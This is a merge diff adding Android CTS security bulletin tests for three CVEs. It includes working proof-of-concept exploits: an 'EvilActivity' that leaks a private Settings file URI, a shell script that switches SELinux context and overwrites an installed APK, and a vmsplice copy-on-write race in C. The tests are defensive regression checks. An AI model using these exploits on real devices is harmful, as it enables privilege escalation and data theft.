Merge "STS refactor @SecurityTest" into qt-dev
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
index 400615a..5af5618 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
@@ -30,6 +30,7 @@
         "androidx.test.core",
         "androidx.test.rules",
         "ctstestrunner-axt",
+        "compatibility-device-util-axt",
     ],
     platform_apis: true,
     min_sdk_version: "29",
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
index aee23f3..7715674 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
@@ -18,25 +18,42 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.*;
 
+import android.app.Instrumentation;
 import android.app.role.RoleManager;
 import android.content.Context;
 import android.os.Build;
 import android.os.UserHandle;
 
 import androidx.test.core.app.ApplicationProvider;
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 
+import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
+    private Instrumentation mInstrumentation;
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
     @Test
     public void cannotGetSmsRoleHolderForAnotherUser() throws Exception {
+        assumeFalse(ModuleDetector
+                .moduleIsPlayManaged(getInstrumentation().getContext().getPackageManager(),
+                    MainlineModule.PERMISSION_CONTROLLER));
         assertNotEquals("This test should be run in a secondary user", UserHandle.USER_SYSTEM,
                 UserHandle.myUserId());
         if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
@@ -59,4 +76,8 @@
         }
         assertFalse("Exploit succeeded", exploitSuccessful);
     }
+
+    private Instrumentation getInstrumentation() {
+        return mInstrumentation;
+    }
 }
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
new file mode 100644
index 0000000..f8d64e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
@@ -0,0 +1 @@
+This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0691.sh b/hostsidetests/securitybulletin/res/cve_2021_0691.sh
new file mode 100644
index 0000000..f0baada
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0691.sh
@@ -0,0 +1,6 @@
+#!/bin/sh
+echo -n 'u:r:system_app:s0' > /proc/self/attr/current
+cd $1
+ls -l base.apk
+echo aaa > base.apk
+ls -l base.apk
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
new file mode 100644
index 0000000..7b410b7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-29368",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
new file mode 100644
index 0000000..1b3528c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#if !defined _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <err.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+#define SYSCHK(x)                                               \
+    ({                                                          \
+        typeof(x) __res = (x);                                  \
+        if (__res == (typeof(x)) - 1) err(1, "SYSCHK(" #x ")"); \
+        __res;                                                  \
+    })
+
+static char *data;
+
+static int child_fn(void) {
+    int pipe_fds[2];
+    SYSCHK(pipe(pipe_fds));
+    struct iovec iov = {.iov_base = data, .iov_len = 0x1000};
+    SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0));
+    SYSCHK(munmap(data, 0x1000));
+    sleep(2);
+    char buf[0x1000];
+    SYSCHK(read(pipe_fds[0], buf, 0x1000));
+    printf("read string from child: %s\n", buf);
+
+    // check if buf has been altered by parent process
+    if (strcmp("BORING DATA", buf) == 0) {
+        return EXIT_SUCCESS;
+    }
+    if (strcmp("THIS IS SECRET", buf) == 0) {
+        return EXIT_VULNERABLE;
+    }
+    return EXIT_FAILURE;
+}
+
+int main(void) {
+    if (posix_memalign((void **)&data, 0x1000, 0x1000)) errx(1, "posix_memalign()");
+    strcpy(data, "BORING DATA");
+
+    pid_t child = SYSCHK(fork());
+    if (child == 0) {
+        exit(child_fn());
+    }
+
+    sleep(1);
+    strcpy(data, "THIS IS SECRET");
+
+    int status;
+    SYSCHK(waitpid(child, &status, 0));
+    printf("child WEXITSTATUS(status) => %d\n", WEXITSTATUS(status));
+    return WEXITSTATUS(status);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
new file mode 100644
index 0000000..81e559a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test that collects test results from test package android.security.cts.CVE_2021_0481.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0481 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0481.apk";
+
+    private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
+    private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
+
+    //defined originally as
+    //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+    //in com.android.settings.users.EditUserPhotoController class
+    private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+    private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 172939189)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+        AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
+        String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+        AdbUtils.runCommandLine(cmd, getDevice());
+
+        installPackage();
+
+        //ensure the screen is woken up.
+        //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
+
+        //Check if TEST_FILE_NAME has been copied by "Evil activity"
+        //If the file has been copied then it means the vulnerability is active so the test fails.
+        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+        String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i(cmd + " -->" + result);
+        assertThat(result, not(is("0")));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
new file mode 100644
index 0000000..9b592bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test installs sample app and then tries to overwrite *.apk file
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0691 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
+    private static final String TEST_APP = "CVE-2021-0691.apk";
+    private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
+    private static final String DEVICE_APP_DIR = "/data/app/";
+    private static final String SCRIPT_NAME = "cve_2021_0691.sh";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 188554048)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+        String cmd;
+        String result;
+
+        //push repro script and install test app
+        AdbUtils.pushResource("/" + SCRIPT_NAME, DEVICE_TMP_DIR + SCRIPT_NAME, getDevice());
+        AdbUtils.runCommandLine("chmod +x " + DEVICE_TMP_DIR + SCRIPT_NAME, getDevice());
+        installPackage();
+
+        //see repro script in log
+        cmd = "cd " + DEVICE_TMP_DIR + "; cat " + SCRIPT_NAME;
+        CLog.i("repro script: " + cmd);
+        CLog.i(AdbUtils.runCommandLine(cmd, getDevice()));
+
+        /*
+         look for a location of test package dir
+         for example: /data/app/
+         ~~stRisM1TaNKYDnrHq9PHJg==/android.security.cts.CVE_2021_0691-borrWKTczXhO86vR9vwNJg==
+        */
+        cmd = "find " + DEVICE_APP_DIR + " -name \"*" + TEST_PKG + "*==\"";
+        String appDir =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i("look for appDir: " + cmd);
+        CLog.i("appDir=" + appDir);
+
+        //run repro steps as 'system' user (su 1000)
+        cmd = "su 1000 " + DEVICE_TMP_DIR + SCRIPT_NAME + " " + appDir;
+        result =  AdbUtils.runCommandLine(cmd, getDevice());
+        CLog.i("command: " + cmd);
+        CLog.i("result: " + result);
+
+        //compare base.apk against aaa
+        //if differs test passes
+        cmd = "echo aaa | cmp -s " + appDir + "/base.apk; echo $?";
+        result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i("command: " + cmd);
+        CLog.i("result: " + result);
+        assertThat(result, not(is("0")));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
new file mode 100644
index 0000000..e5a739f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_29368 extends SecurityTestCase {
+
+   /**
+     * b/174738029
+     *
+     */
+    @AsbSecurityTest(cveBugId = 174738029)
+    @Test
+    public void testPocCVE_2021_29368() throws Exception {
+        assertFalse(AdbUtils.runPocCheckExitCode("CVE-2021-29368", getDevice(),60));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
new file mode 100644
index 0000000..db36d6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CVE-2021-0481",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+        "androidx.appcompat_appcompat",
+    ],
+    sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
new file mode 100644
index 0000000..eb4890b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0481"
+          android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner"/>
+
+    <activity android:name=".EvilActivity" android:exported="true">
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.OPEN_DOCUMENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.CREATE_DOCUMENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.GET_CONTENT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0481" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
new file mode 100644
index 0000000..9103c96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0481;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.SystemClock;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.uiautomator.BySelector;
+
+import java.util.List;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+/**
+ * launch "Settings" app
+ * set up user photo
+ */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+  class ClickableNotFound extends Exception{
+    public ClickableNotFound(String s){
+      super(s);
+    }
+  }
+
+  private static final String BASIC_SAMPLE_PACKAGE
+          = "android.security.cts.CVE_2021_0481";
+  private static final int LAUNCH_TIMEOUT_MS = 20000;
+  private static final String TAG = "TAG_2021_0481";
+  private static final int IS_FOUND_FLAG = 1;          // 0001
+  private static final int IS_CHECKED_FLAG = 2;        // 0010
+  private UiDevice mDevice;
+
+  @Test
+  public void testUserPhotoSetUp() {
+
+    //set mDevice and go to homescreen
+    mDevice = UiDevice.getInstance(getInstrumentation());
+    mDevice.pressHome();
+
+    //start "Settings" app
+    Intent myIntent = new Intent("android.settings.USER_SETTINGS");
+                                //android.provider.Settings.ACTION_USER_SETTINGS
+    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    try{
+      getApplicationContext().startActivity(myIntent);
+    } catch(android.content.ActivityNotFoundException e){
+      Log.d(TAG, "Activity to be tested  doesn't exist. Test will pass.");
+      return;
+    }
+
+    //wait for "User Settings" activity to appear.
+    SystemClock.sleep(6000);
+
+    //perform UI test steps
+    try {
+
+      //in "Multiple users" activity showing "Use multiple users" switch
+      searchAndClick(mDevice, "android:id/switch_widget", 2000);
+
+      //in "Multiple users" activity showing a list of current users,
+      //look for the first item "android:id/title" on the list showing "You(Owner)"
+      searchAndClick(mDevice, "android:id/title", 2000);
+
+      //in "Profile Info" dialog window showing clickable user silhouette
+      //look for clickable android.widget.ImageView object with attributes:
+      // getContentDescription()=Select photo
+      // getResourceName()=com.android.settings:id/user_photo
+      searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
+
+      //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
+      searchAndClick(mDevice, "Choose an image", 6000);
+
+      //in "Browse Files in Other Apps" activity
+      searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+    } catch (ClickableNotFound e){
+      Log.d(TAG, e.toString());
+      assumeNoException(e);
+    }
+    Log.d(TAG, "end of testUserPhotoSetUp()");
+  }
+
+  //see what is on screen and click on object containing name
+  //throw exception if object not found
+  private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
+
+    int ret;
+    List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
+    boolean found = false;
+    Log.d(TAG, "looking for " + name);
+    Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
+
+    if(objects != null){
+      for (UiObject2 o : objects) {
+        if((ret=searchAndLog(o, name, "")) !=0 )
+        {
+          found=true;
+          Log.d(TAG, name + " found");
+          if((ret & IS_CHECKED_FLAG) == 0) {
+              o.click();
+              Log.d(TAG, name + " clicked");
+              SystemClock.sleep(timeOut); //wait for click result to appear onscreen
+          }
+          break; //to avoid androidx.test.uiautomator.StaleObjectException
+        }
+      }
+    }
+    if(!found) {
+      throw new ClickableNotFound("\"" + name + "\" not found to click on");
+    }
+  }
+
+  //Search for 'name' in UiObject2
+  //returns int flags showing search result:
+  // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
+  // IS_FOUND_FLAG - 'name' matches anything else
+  private int searchAndLog(UiObject2 o, String name, String prefix){
+
+    int ret = 0;
+    String lname = o.getText();
+    String cname = o.getClassName();
+    String cdesc = o.getContentDescription();
+    String rname = o.getResourceName();
+    boolean checked = o.isChecked();
+
+    Log.d(TAG, prefix + "class=" + cname);
+    Log.d(TAG, prefix + "o.getText()=" + lname);
+    Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
+    Log.d(TAG, prefix + "o.getResourceName()=" + rname);
+    Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
+
+    if( rname != null && rname.equals(name) && checked) {
+      ret |= IS_CHECKED_FLAG;
+    }
+    else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
+      ret |= IS_FOUND_FLAG;
+    }
+
+    if(ret != 0) {
+      Log.d(TAG, prefix + "found-->" + name);
+      return ret;
+    } else {
+      java.util.List<UiObject2> objects2 = o.getChildren();
+      if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
+        for (UiObject2 o2 : objects2) {
+          if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
+            return ret;
+          }
+        }
+      }
+    }
+    return ret;
+  }
+
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
new file mode 100644
index 0000000..92f0ec3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.CVE_2021_0481;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class EvilActivity extends Activity {
+
+    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
+    private static final String TAG = "TAG_2021_0481";
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(TAG, "EvilActivity started!");
+        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
+        finish();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
new file mode 100644
index 0000000..0028642
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CVE-2021-0691",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml
new file mode 100644
index 0000000..1a83c8e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0691"
+          android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner"/>
+  </application>
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0691" />
+
+</manifest>
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 418c201..3b398ef 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -33,6 +33,7 @@
         <option name="cleanup" value="true" />
